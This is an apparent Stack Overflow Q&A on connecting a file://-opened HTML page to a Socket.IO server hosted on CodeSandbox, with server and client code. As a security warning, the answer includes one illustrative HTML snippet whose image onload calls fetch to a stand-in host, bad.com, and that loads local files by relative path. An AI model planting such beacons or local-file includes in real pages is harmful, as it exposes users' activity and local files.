node.jsserversocket.ioxmlhttprequestclient

How to make a 'file://' file connect to the Node.js server with Socket.IO


The problem is that the 'file://' protocol cannot send XMLHttpRequests (I think). I am using Socket.IO and when I try to do var socket = io("my CodeSandbox server link"); it doesn't connect. I am not hosting the server on localhost, rather, I am hosting it on CodeSandbox. Is there a way to bypass the 'file://' protocol not being able to connect to the server / send XMLHttpRequests?

I searched up the web, but it said it was with browser restrictions. I cannot use this, because I need to give the file (on a USB stick) to multiple people, and they cant go changing their browser flags.


Solution

  • Firstly, the file:// protocol is essentially a protocol like any other. It does have some additional restrictions, one being document.domain=null is a special domain that always fails any domain check.

    This is often where new developers start, before they have any understanding of servers, NICs, IP addresses, and domain names. They just create basic HTML files on the hard drive, and then either double-click them or open a browser and press Ctrl + O.

    I should note near the top the potential security implications of running untrusted code from the file:// protocol since the following is entirely plausible, although, because of the document.domain restrictions, JavaScript does not have access to the data:

        <!-- untrusted.html -->
        <body>
              <img src='../../../probably-dont-want-this-image-displayed-thanks.png' onload='fetch("http://bad.com/yep-this-exists")'>
              <iframe src='../../../super-secret.html'></iframe>
              <script src='../../../this-should-never-have-been-run-here.js'></script>
              <!-- etc -->
        </body>
    

    That being said, you can use the file:// protocol like any other.

    You can connect to your CodeSandbox VM (development container, development box),
    but you’re going to need the external URL. You can determine the external URL from the following:

        var port          = 3000;
        var hostname      = require('os').hostname;
        var previewUrl    = `https://${hostname}-${port}.csb.app`;
        console.log(previewUrl);    //  https://jmycxx-3000.csb.app
    

    I have set up an example here.

    You can make any calls you like to it, socket.io included. You will need a cors response because of the way document.domain behaves on the file:// protocol. I’ve included a cors response in the example:

        //server.js
    
        var port          = 3000;
        var hostname      = require('os').hostname;
        var previewUrl    = `https://${hostname}-${port}.csb.app`;
        console.log(previewUrl);    //  https://jmycxx-3000.csb.app
    
        require('http').createServer(request).listen(port);
    
        function request(req,res){
    
              console.log(req.url,req.method);
    
              var headers   = {
                    'access-control-allow-origin': '*',
              };
    
              if(req.method==='OPTIONS'){    //  cors
                    res.writeHead(204,headers);
                    res.end();
                    return;
              }
    
              if(req.url==='/test'){
                    res.writeHead(200,headers);
                    res.end('testing 1 2 3');
                    return;
              }
    
              res.end('helloworld');
    
        }//request
    

    https://codesandbox.io/p/devbox/chat-test-jmycxx?file=/server.js

    I have had some trouble in the past with similar services (StackBlitz) when using HTTPS servers, probably because of the way the port is forwarded to the VM. It seems to be more of a bug, but bare it in mind.

    You can make fetch (XMLHttpRequest) requests to it from file:// or anywhere else like so:

    <!-- local-file.html -->
    <script type=module>
    
          var res   = await fetch('https://jmycxx-3000.csb.app/test');
          var txt   = await res.text();
          //alert(txt);
          console.log(txt);    //  testing 1 2 3
    
    </script>

    Your VM is going to need to be available to be able to connect to it, so make sure you have started your server in the terminal and leave it running. If you close the terminal window, the process will exit. I am not fully versed with CodeSandbox, but the documentation suggest it has a warm up / start up time in the seconds. I'll keep an eye on the code and update this answer if needed.

    Other than that CodeSandbox seems like a next generation service, I look forward to exploring and working with it.